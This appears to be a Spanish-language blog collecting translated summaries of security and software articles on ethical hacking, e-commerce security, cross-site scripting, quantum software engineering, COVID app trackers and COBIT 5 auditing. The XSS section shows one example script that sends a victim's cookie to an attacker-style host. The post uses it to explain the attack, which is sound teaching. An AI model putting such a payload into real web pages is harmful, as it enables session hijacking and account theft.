Como hacker ético, necesita saber cómo utilizar técnicas de suplantación de identidad para obtener acceso no autorizado a sistemas o información, simulando amenazas del mundo real. La ingeniería social puede implicar hacerse pasar por entidades confiables, como compañeros de trabajo, proveedores o personal de soporte técnico.

Los piratas informáticos éticos también pueden utilizar habilidades de ingeniería social para realizar capacitaciones sobre concientización sobre seguridad dentro de las organizaciones. Al hacerse pasar por atacantes, muestran a los empleados los peligros de compartir información confidencial y fomentan una cultura centrada en la seguridad.

En general, las habilidades de ingeniería social son imprescindibles para los hackers éticos. Si es bueno en eso, no solo encontrará debilidades que las pruebas tecnológicas podrían pasar por alto, sino que también ayudará a las organizaciones a protegerse contra amenazas engañosas impulsadas por humanos.

Para concluir

El papel de los hackers éticos en el mundo actual de la ciberseguridad es primordial. A medida que el espacio digital enfrenta amenazas cada vez mayores, los hackers de sombrero blanco se erigen como defensores de los datos, la privacidad y la integridad de nuestra infraestructura digital.

Las cuatro habilidades esenciales descritas en este artículo (programación, experiencia en informática, dominio de SQL y habilidades de ingeniería social) forman la base del conjunto de herramientas de un hacker ético. Dominar estas habilidades esenciales para los hackers allana el camino para una carrera exitosa e impactante en este campo.



Fuente: Roller, J. (2024, febrero 5). 4 Essential Skills for Becoming a Successful Ethical Hacker. IEEE Computer Society. https://www.computer.org/publications/tech-news/build-your-career/ethical-hacker-essential-skills/

martes, 12 de marzo de 2024

La lista de verificación de 7 puntos para la seguridad y la privacidad en el comercio electrónico

El Foro Económico Mundial ha identificado los ciberataques como uno de los mayores riesgos para la estabilidad económica mundial. El estudio de perspectivas de ciberseguridad estima un aumento exponencial de los ciberataques en los próximos años, que costarán 11,5 billones de dólares en daños en 2023. La industria del comercio electrónico es una de las ocho industrias más afectadas por los ciberataques.

Con la creciente amenaza de los ciberatacantes, las empresas de comercio electrónico deben centrarse en mejorar las medidas de seguridad para proteger sus negocios y a sus clientes. Con ese fin, aquí hay una lista de verificación de 7 puntos que lo ayudará a proteger su plataforma de comercio electrónico contra ataques cibernéticos.

Lista de verificación de 7 puntos para la seguridad y privacidad en el comercio electrónico

1. Identificar las vulnerabilidades del código fuente

El 97% de las aplicaciones y el software del mundo utilizan código fuente abierto hasta cierto punto. Desafortunadamente, estos códigos están plagados de vulnerabilidades y exponen sus sitios web de comercio electrónico a una variedad de ataques cibernéticos. El informe Análisis de riesgos y seguridad de código abierto muestra que el 84% de las bases de código están plagadas de vulnerabilidades de código abierto.

La cantidad de vulnerabilidades de alto riesgo en sitios minoristas y de comercio electrónico ha aumentado un 557% desde 2018. Es necesario escanear sus plataformas de comercio electrónico en busca de tales vulnerabilidades. Puede utilizar herramientas como Flawfinder, RATS, OpenVAS, OSV-Scanner, etc. para encontrar brechas de seguridad en su red. También necesita realizar un seguimiento de las actualizaciones y parches de seguridad para todas las dependencias de código abierto empleadas en su sistema.

2. Emplear autenticación multifactor (MFA)

Las contraseñas son los eslabones más débiles de la seguridad. Incluso las contraseñas más sólidas pueden ser víctimas de ataques de phishing. La autenticación multifactor dificulta que los ciberatacantes accedan a los recursos de red de su organización. MFA puede prevenir el 99,9% de los ciberataques automatizados . También ha demostrado ser eficaz contra el 96 % de los ataques de phishing masivos y el 76 % de los ataques dirigidos.

Pero una plataforma de comercio electrónico también debe considerar la conveniencia del usuario al emplear la autenticación multifactor. A pesar de las vulnerabilidades, las contraseñas siguen siendo el factor de autenticación más común. Un sitio de comercio electrónico puede agregar medidas adicionales para verificar la identidad del usuario.

La primera identificación son las credenciales (nombre de usuario, contraseñas, etc.). La segunda es un código único generado automáticamente y enviado al dispositivo del usuario. El 68% de los usuarios considera que las notificaciones push móviles son uno de los métodos de autenticación más convenientes.

La autenticación multifactor garantiza una sólida seguridad de control de acceso al confirmar la identidad del usuario a través de múltiples canales. Esto disminuye la posibilidad de acceso no autorizado. Ayuda a prevenir un ataque incluso si uno de los canales de acceso está comprometido.

3. Verifique las vulnerabilidades de entrada

Los ataques de inyección se encuentran entre los tipos más comunes de ciberataques que afectan a los sitios web de comercio electrónico. Los componentes de entrada del usuario en su sitio web de comercio electrónico suelen ser vulnerables a este tipo de ataques. Debe escanear el sitio web en busca de todos los componentes de entrada del usuario y definir protocolos para la validación de los datos de entrada.

Si bien la mayoría de los desarrolladores utilizan una lista negra para la validación de entradas, los piratas informáticos suelen encontrar una forma de evitarlas. En su lugar, puede utilizar listas blancas para validar entradas basadas en criterios sintácticos y semánticos que sean relevantes para diversos formularios de entrada. Esto ayuda a limitar el alcance de los ataques de inyección. También es necesario probar todos los formularios de entrada para detectar una variedad de ataques como:

  • Inyección SQL
  • Secuencias de comandos entre sitios
  • Recorrido de ruta e inyección de nombre de archivo
  • Inyección de comandos del sistema
  • Inclusión de archivos locales/remotos
Puede reforzar las medidas de seguridad contra ataques de inyección desinfectando todas las entradas en busca de elementos de código malicioso, como comillas simples (el elemento más utilizado para iniciar ataques de inyección SQL). Además, también debe desactivar la interpretación de datos para evitar que las inyecciones se procesen automáticamente.

4. Vulnerabilidades en entidades externas XML (XXE)

Hay muchos sitios web de comercio electrónico que analizan entradas XML sin un analizador bien configurado. Estos sitios web corren riesgo porque permiten el acceso externo a su información, archivos y puertos. Además, existe el riesgo adicional de ejecutar código malicioso, así como de provocar ataques DoS y DDoS.

Esto es lo que pueden hacer los desarrolladores:

  • Utilice métodos de serialización específicos de clase cuando trabaje con información confidencial
  • Opte por formatos de datos más simples como JSON
  • Probar DTD externo para análisis
  • Actualice los procesadores y bibliotecas XML periódicamente
  • Implementar la validación de archivos XML entrantes.
  • Pruebe todas las extensiones XML en busca de vulnerabilidades

5. Controlar los ID de sesión

Durante las sesiones web, cada interacción del usuario se caracteriza por variables como derechos de acceso y cadenas de localización. Mediante la fijación del ID de sesión, los piratas informáticos pueden explotar sesiones legítimas para lograr sus objetivos.

Debe impartir protocolos para el acceso a la sesión a través de controles de autenticación y autorización. Luego, deberá realizar un seguimiento de la actividad del usuario dentro de la aplicación web de comercio electrónico utilizando los ID de sesión. El ID de sesión común utilizado por las aplicaciones web revela mucha información innecesaria, que puede ser aprovechada por un atacante potencial.

Los ciberatacantes pueden obtener información sobre el lenguaje de programación, el marco tecnológico y la información del usuario descifrando los ID de sesión. El contenido del ID de sesión debe basarse en información sin sentido para evitar su divulgación. Debe cambiar los protocolos de ID de sesión predeterminados para evitar la toma de huellas digitales.

La mayoría de los ciberataques utilizan ataques de fuerza bruta para identificar sesiones válidas. Por lo tanto, debe asegurarse de que los ID de sesión generados para sus sitios web de comercio electrónico sean lo suficientemente largos para resistir dichos ataques. GitHub recomienda una longitud de ID de sesión de 16 bytes con 64 bits de entropía. Puede utilizar un generador de números pseudoaleatorios (PRNG) para introducir entropía en los ID de sesión de su sitio web de comercio electrónico.

6. Transacciones seguras con cumplimiento de PCI DSS

El cumplimiento del Estándar de seguridad de datos de la industria de tarjetas de pago (PCI DSS) incluye pautas para prevenir el fraude en los pagos y el robo de información financiera. Las pautas PCI DSS para el comercio electrónico identifican 12 criterios fundamentales que ayudan a asegurar las transacciones para el cumplimiento de pedidos de comercio electrónico . Cumplir con estos criterios ayudará a proteger la información transaccional durante el procesamiento del pedido.

A continuación, se muestran algunas formas de ayudar a que su sitio web de comercio electrónico cumpla con estas pautas:

  • Minimice el tiempo de almacenamiento y retención de datos de titulares de tarjetas (CHD).
  • Definir protocolos para la retención y eliminación de enfermedades coronarias.
  • Haga que todos los datos de autenticación confidenciales sean irrecuperables una vez completada la autorización.
  • Utilice protocolos de seguridad y criptografía para toda la información del titular de la tarjeta durante la transmisión de datos.
  • Limite el almacenamiento de claves criptográficas a las ubicaciones mínimas requeridas.
  • Definir protocolos de identificación y autenticación para el acceso a CHD.
  • Implemente pistas de auditoría automatizadas para todos los componentes del sistema con acceso a CHD.

7. Realizar pruebas periódicas

La ciberseguridad en el eCommerce es una práctica recurrente. A medida que el sitio web crece y evoluciona, es posible que encuentre nuevas vulnerabilidades. Debe realizar pruebas periódicas para evaluar la eficacia de las medidas de seguridad de su sitio web de comercio electrónico. También debe realizar estas pruebas para medir qué tan bien sus medidas de seguridad pueden resistir nuevas amenazas de ciberseguridad.

Aquí hay una lista de pruebas de seguridad importantes para su sitio web de comercio electrónico:

  • Busque actualizaciones de seguridad para todos los componentes de su sitio web.
  • Pruebe extensiones de archivos que contengan datos confidenciales.
  • Verifique los permisos de archivos para todos los datos confidenciales.
  • Escanee copias de seguridad y archivos sin referencia en busca de información del usuario y CHD.
  • Escanee robot.txt en busca de información confidencial.
  • Realizar un reconocimiento de descubrimiento de motores de búsqueda para detectar fugas de información.
  • Pruebe los puntos de entrada de la aplicación en busca de vulnerabilidades.
  • Marcos de prueba para servidores y aplicaciones web de huellas dactilares.
  • Escanee las URL en busca de información confidencial.
  • Probar protocolos de cifrado y seguridad para la transmisión de información.
  • Pruebe los protocolos de autenticación y autorización de usuarios para detectar vulnerabilidades.
  • Busque SQL, XML, X-Path, XSL, SSI, API y otras formas de inyecciones.


Fuente: Roller, J. (2023, diciembre 11). The 7-point Checklist for Security and Privacy in Ecommerce. IEEE Computer Society. https://www.computer.org/publications/tech-news/trends/7-point-checklist-for-ecomm-security-and-privacy/

sábado, 9 de marzo de 2024

Comprender la amenaza de XSS (Cross-Site Scripting)

Los ataques de secuencias de comandos entre sitios (también conocidos como XSS) son, estadísticamente , uno de los riesgos de seguridad de aplicaciones web más frecuentes y dañinos en la actualidad. Fue la vulnerabilidad más reportada a principios de 2023, y las vulnerabilidades de gravedad media (como mínimo) aumentaron exponencialmente a medida que avanzaba el año.
Estos ataques implican la inyección de scripts maliciosos del lado del cliente en páginas web, y un atacante a menudo se hace pasar por un usuario víctima que puede llevar a cabo acciones que los usuarios legítimos pueden realizar. Los atacantes a menudo eluden la aplicación y, por lo tanto, comprometen las interacciones que los usuarios tienen con esa aplicación.

Si bien los ataques XSS no siempre conducen directamente a una violación de datos, a menudo son partes fundamentales de los esfuerzos de reconocimiento de un pirata informático, abriendo las puertas a posibles ataques adicionales si no se abordan o contienen.

¿Cómo funcionan las secuencias de comandos entre sitios?

Los ataques XSS ocurren cuando se ingresan scripts y códigos no validados, maliciosos o "malos" en el navegador de un usuario. La inyección XSS se produce en un sitio web creíble, legítimo y, por lo demás, digno de confianza con una vulnerabilidad de seguridad conocida por el actor malintencionado, pero no por el propietario del sitio web.

Muchos propietarios de sitios ignoran los ataques XSS durante algún tiempo hasta que el navegador de cada usuario es atacado lenta y metódicamente. Un ejemplo de inyección XSS sería ver a un hacker ingresando código JavaScript dañino en un formulario de inicio de sesión que luego se muestra sin filtrar en una página web. Cuando otros usuarios cargan esa página en sus navegadores, el script malicioso puede acceder a datos confidenciales, cookies de sesión o credenciales de inicio de sesión personales, o redirigir el navegador a sitios maliciosos. En esencia, las vulnerabilidades XSS se reducen a un manejo inadecuado de los datos y una seguridad laxa.

Cualquier aplicación web que permita la entrada del usuario puede ser vulnerable, por lo que es crucial auditar los sitios web periódicamente para detectar vulnerabilidades, a menudo consultando a empresas de pruebas de penetración de terceros para validar todas las fallas de seguridad conocidas y poder remediarlas. Los atacantes pueden explotar incluso el más mínimo punto débil en una infraestructura empresarial, eludir los controles de acceso, explotar a los usuarios y comprometer los datos si tienen los conocimientos técnicos

Tipos de ataques XSS

Hay tres tipos principales de ataques de secuencias de comandos entre sitios:

XSS reflejado

XSS reflejado implica inyectar un script malicioso en una solicitud HTTP vulnerable. Si un usuario visita una URL construida por el hacker, entonces el script se ejecuta en el navegador del usuario en el contexto de la sesión de la aplicación de ese usuario, generalmente en forma de un enlace de phishing disfrazado en HTML. El código malicioso permanece sin almacenar y solo afecta a una sesión individual.

XSS almacenado

El XSS almacenado (también conocido como XSS de segundo orden) ocurre cuando una aplicación recibe datos de una fuente que no es de confianza y esos datos se almacenan para respuestas HTTP posteriores.

En otras palabras, los scripts maliciosos se almacenan en la aplicación web, generalmente ocultos de forma encubierta en una base de datos, publicación de blog, foro u otro elemento nativo, y cualquier usuario que visite o acceda a ese recurso es explotado a través de su navegador. Una inyección puede afectar a varias víctimas con el tiempo si se permite que ese guión impregne y se propague.

XSS basado en DOM

DOM XSS explota el código JavaScript vulnerable del lado del cliente en lugar de inyectar scripts en el lado del servidor. Por lo general, al volver a escribir los datos en el DOM, los datos que no son de confianza se procesan de forma insegura dentro de una aplicación.

Los scripts maliciosos se ejecutan como parte del JavaScript del lado del cliente al cargar la página en lugar de almacenarse permanentemente allí. Sin embargo, el resultado es el mismo: código malicioso ejecutándose en el navegador de la víctima.

¿Cómo son los ataques XSS?

Aunque un ataque no causa daño directo al propietario del sitio web, puede tener consecuencias nefastas para los visitantes de un sitio comprometido. Puede conducir a:

  • Redirecciones a sitios maliciosos y no seguros
  • Los navegadores fallan por completo
  • Robo de cookies activas y datos de inicio de sesión
  • Compromiso de cuentas y credenciales
  • Actividad fraudulenta utilizando información robada
Ejemplos notables incluyen los ataques XSS de British Airways y T Mobile que resultaron en la afectación de los datos de millones de clientes.

Para comprender cuán peligrosas pueden ser las fallas XSS, veamos un ejemplo hipotético:

  1. Un hacker descubre un foro de un sitio web que muestra comentarios de usuarios sin ninguna codificación o validación de salida.
  2. El atacante inyecta de forma encubierta un script como <script>window.location='http://hackersite.com?cookie='+document.cookie</script> en uno de sus comentarios que parece inofensivo.
  3. Ahora, cada vez que un usuario cargue la página con este comentario, el script se ejecutará y enviará su cookie de sesión al servidor del hacker.
  4. Al acceder a la cookie de sesión, el pirata informático puede secuestrar la cuenta de la víctima en la aplicación web.
  5. El atacante podría publicar más comentarios con scripts maliciosos y explotar a más usuarios.
Este es un pequeño ejemplo de cómo pueden existir vulnerabilidades XSS en aplicaciones web que de otro modo parecerían inocentes.

Vectores de amenazas pasados ​​por alto

El factor clave de los ataques XSS es el mal manejo de datos que no son de confianza en una aplicación web. Desafortunadamente, muchas empresas no reconocen ni priorizan ciertas vulnerabilidades:Aplicaciones web heredadas: las aplicaciones web más antiguas se crearon sin tener en cuenta la seguridad y, sin saberlo, pueden ser propensas a inyecciones XSS.

Editores de texto enriquecido/HTML: las funciones que permiten fuentes personalizadas, medios incrustados, etc. a menudo no validan correctamente la entrada pegada, lo que las hace fáciles de explotar.

Integraciones de terceros: la conexión de aplicaciones a través de API o complementos crea agujeros de flujo de datos adicionales que necesitan validación . El uso no supervisado y la falta de pruebas significan que estas integraciones pueden verse comprometidas rápida y fácilmente.
Es esencial realizar una auditoría proactiva de dichos vectores de amenazas en las propiedades web para evitar sorpresas en el futuro.


Fuente: Roller, J. (2024, marzo 6). Understanding the Threat of XSS (Cross-Site Scripting). IEEE Computer Society. https://www.computer.org/publications/tech-news/trends/understand-cross-site-scripting-threats/

miércoles, 6 de marzo de 2024

Cuando la ingeniería de software se encuentra con la computación cuántica

En las últimas décadas, la computación cuántica (QC) ha intrigado a científicos, ingenieros y al público en todo el mundo. Las computadoras cuánticas utilizan la superposición cuántica para realizar muchos cálculos, en paralelo, que no son posibles con las computadoras clásicas, lo que resulta en un tremendo poder computacional. Al explotar ese poder, el control de calidad y el software cuántico permiten muchas aplicaciones que normalmente están fuera del alcance de la informática clásica, como el descubrimiento de fármacos y técnicas más rápidas de inteligencia artificial (IA). Actualmente se están desarrollando computadoras cuánticas con una variedad de tecnologías, como la superconductora y la captura de iones.

Empresas privadas, como Google e IBM, están construyendo sus propios ordenadores cuánticos, mientras que entidades públicas están invirtiendo en tecnologías cuánticas. Por ejemplo, la Comisión de la Unión Europea está gastando mil millones de euros en tecnologías cuánticas.

Actualmente, el objetivo clave de las computadoras cuánticas es reducir los errores de hardware que limitan sus usos prácticos. Independientemente de la tecnología que finalmente gane la carrera del hardware cuántico, el facilitador clave para crear aplicaciones de control de calidad es el software cuántico. El software cuántico debe estar respaldado por una pila de software cuántico, que vaya desde sistemas operativos hasta compiladores y lenguajes de programación, como postularon Bertels et al, de la Universidad de Oporto. La ingeniería de software cuántico (QSE) permite el desarrollo rentable y escalable de software cuántico confiable para crear aplicaciones de software cuántico revolucionarias en muchos dominios, por ejemplo, finanzas, química, atención médica y agricultura.

Sin embargo, no se pueden desarrollar aplicaciones de software cuántico eficaces con los métodos clásicos de ingeniería de software debido a las características inherentes de la computación cuántica (por ejemplo, la superposición y el entrelazamiento). Por lo tanto, necesitamos crear metodologías QSE novedosas (con soporte de herramientas) que cubran diferentes fases de QSE, posiblemente incluyendo ingeniería de requisitos, modelado, codificación, pruebas y depuración.

En este artículo, presentamos primero una visión general del impacto potencial de la computación cuántica, seguida de algunos aspectos destacados de las iniciativas de control de calidad a nivel de la UE. Luego argumentamos la necesidad de QSE, presentamos el estado del arte de QSE desde Múltiples aspectos (pruebas, por ejemplo) comparando las computadoras cuánticas con sus contrapartes clásicas y arrojamos luz sobre posibles direcciones de investigación.

La computación cuántica está en auge y, sin duda, revolucionará muchas tecnologías. Transformará nuestra comprensión y la forma en que abordamos problemas y desafíos complejos. La ingeniería de software cuántica es clave para la creación sistemática y rentable de las aplicaciones de control de calidad potentes, confiables y prácticas del mañana. En comparación con la informática clásica, la complejidad inherente del control de calidad y sus complejos dominios de aplicación (el descubrimiento de fármacos, por ejemplo) presentan nuevos desafíos multidimensionales que enfatizan la importancia del QSE. Fascinados por esta observación, presentamos en este artículo los aspectos más destacados de las actividades de control de calidad en Europa, las innovaciones clave de QSE (en comparación con la ingeniería de software clásica) y las direcciones abiertas de investigación de QSE. Este es el momento de adoptar el control de calidad y formar la comunidad QSE en Europa ya nivel mundial.


Fuente:  Ali, S., Yue, T. y Abreu, R. (2022). Cuando la ingeniería de software se encuentra con la computación cuántica. Comunicaciones de la ACM,65(4), 84-88. https://doi.org/10.1145/3512340

Los rastreadores de terceros en aplicaciones móviles de COVID-19 pueden permitir fugas de privacidad

Desde 2019, el mundo se enfrenta a una pandemia sin precedentes. Los gobiernos y diversas organizaciones han hecho grandes esfuerzos para desarrollar aplicaciones que ayuden a controlar la propagación del COVID-19 y mejorar la calidad de vida de las personas. Sin embargo, nuestra investigación ha descubierto que muchas de estas aplicaciones contienen bibliotecas de terceros, incluidos rastreadores, que pueden afectar la privacidad del usuario. 

De las 595 aplicaciones que revisamos, 402 incluían al menos un rastreador y se estaba transfiriendo información confidencial a estos servidores de seguimiento. Desde una perspectiva de privacidad, se debe reconsiderar la inclusión de rastreadores en aplicaciones sensibles, principalmente cuando los gobiernos los patrocinan.


Fuente: Serrano, N., Betarte, G. y Campo, JD (2023). Los rastreadores de terceros en aplicaciones móviles de COVID-19 pueden permitir fugas de privacidad. Actas del XII Simposio Latinoamericano sobre Computación Confiable y Segura , 80-89. https://doi.org/10.1145/3615366.3615426

El modelo COBIT 5 para Auditoría Informática de los Sistemas de Información Académica de la Universidad Nacional Jorge Basadre Grohmann

La Universidad Nacional Jorge Basadre Grohmann en su proyecto “MEJORAMIENTO DEL SERVICIO INFORMÁTICO DE LA PLATAFORMA WEB DE LA UNIVERSIDAD NACIONAL JORGE BASADRE GROHMANN DE TACNA”, con el fin de mejorar la calidad e integración de la información, tiene como fin la implantación de una plataforma educativo. El presente trabajo de investigación titulado “El modelo COBIT 5 para Auditoría Informática de los Sistemas de Información Académica de la Universidad Nacional Jorge Basadre Grohmann”, tiene como objetivo general proponer los lineamientos y controles necesarios, mediante la utilización del COBIT 5, para el posterior mantenimiento del sistema de información, a fin de lograr la excelencia operativa a través de una aplicación confiable y uso eficiente de la tecnología.

Los sistemas de información son base primordial para el desarrollo empresarial, los sistemas de información transcurridos los años han sufrido transformaciones los cuales han proporcionado beneficios, y las formas de auditar han sido modificadas en función de las necesidades que se van presentando una a continuación de otra. . En tal sentido, el Cobit es un aporte a través de un modelo que permite revisar cuidadosamente el trabajo realizado por los sistemas informáticos en relación a las necesidades empresariales. La tecnología de la información está avanzando cada vez más y se ha generalizado en las empresas y en entornos sociales, públicos y de negocios. CobiT, es un marco de referencia y un juego de herramientas de soporte que permiten a la gerencia cerrar la brecha con respecto a los requerimientos de control, temas técnicos y riesgos de negocio, y comunicar ese nivel de control a los participantes. CobiT, permite el desarrollo de políticas claras y de buenas prácticas para el control de TI por parte de las empresas. CobiT constantemente se actualiza y armoniza con otros estándares; por lo tanto, CobiT se ha convertido en el integrador de las mejores prácticas de TI y el marco de referencia general para el gobierno de TI que ayuda a comprender y administrar los riesgos y beneficios asociados con TI. Con lo cual, la estructura de procesos de CobiT y su enfoque de alto nivel orientado al negocio brindan una visión completa de TI y de las decisiones a tomar. El objetivo de COBIT es brindar buenas prácticas a través de un marco de trabajo de dominios y procesos, y presentar las actividades de una manera manejable y lógica. Estas prácticas están enfocadas más al control que a la ejecución.

Asimismo COBIT 5 ayuda a las empresas de todos los tamaños aportando beneficios tales como: Mantener la información de alta calidad para apoyar las decisiones de negocios, Alcanzar los objetivos estratégicos y obtener los beneficios de negocio a través del uso efectivo e innovador de las TI, Lograr la excelencia operativa a través de una aplicación confiable, eficiente de la tecnología, Mantener los riesgos relacionados con TI a un nivel aceptable, Optimizar los servicios y el costo de las TI y la tecnología, Apoyar el cumplimiento de las leyes, reglamentos, acuerdos contractuales y las políticas. El objetivo de esta investigación es estructurar los lineamientos para la aplicación del modelo cobit 5, a los sistemas de información académica de la universidad nacional Jorge Basadre Grohmann los que componen los siguientes módulos. (Aplicativo informático web de gestión del sistema de admisión, Sistema de escalafón, Aplicativo informático web de gestión del sistema de bienestar universitario, Sistema de tutoría, Aplicativo informático de gestión y seguimiento de egresados, Aplicativo informático web de gestión de la bolsa de trabajo y capacitación, Aplicativo informático web de sistema de matrícula, Aplicativo informático web de gestión docente, Sistema de intranet, Aplicativo informático web de gestión de registro académico, Aplicativo informático web de gestión de aprendizaje virtual, Aplicativo informático web de gestión institucional con base a indicadores, Aplicativo informático web de gestión de proyectos de investigación ogin, Aplicativo informático web de gestión del comedor universitario, Aplicativo informático web de gestión de cooperación nacional e intercambio académico, Website facultad, Website de escuela de pregrado,website de instituto de informática y telecomunicaciones-itel , Aplicativo informático web de gestión de equipo informático, Aplicativo informático web de gestión de biblioteca ), para el control de los sistemas de información.

La aplicación del modelo COBIT 5, es aplicable antes y después de iniciado el proceso de adquisición de una solución para la atención de una necesidad y mejora de las actividades de una organización. El marco de trabajo COBIT 5, es una guía a seguir para evaluar el desempeño en la gestión de las tecnologías de la información, tanto en organizaciones públicas como privadas. Para el caso, en la ciudad de Tacna y el ámbito educativo de nivel superior, será una primera experiencia en su aplicación. Los criterios definidos en el modelo COBIT 5, deben conciliarse con las regulaciones y exigencias de cumplimiento que regulan las adquisiciones en el sector público del estado peruano, debiendo adecuarse a etapas previas y posteriores según sea el caso.


Fuente: Aquino Arcata, R., Cuevas Machaca, RZ y Villarroel Laura, GA (2023). El modelo COBIT 5 para Auditoría Informática de los Sistemas de Información Académica de la Universidad Nacional Jorge Basadre Grohmann. Innovación y Software , 4 (1), 63-81. https://doi.org/10.48168/innosoft.s11.a56

EDR versus MDR: diferencias clave y cómo elegir

¿Qué es la EDR? Endpoint Detección y Respuesta (EDR) es una tecnología de ciberseguridad que monitorea y recopila continuamente datos de dis...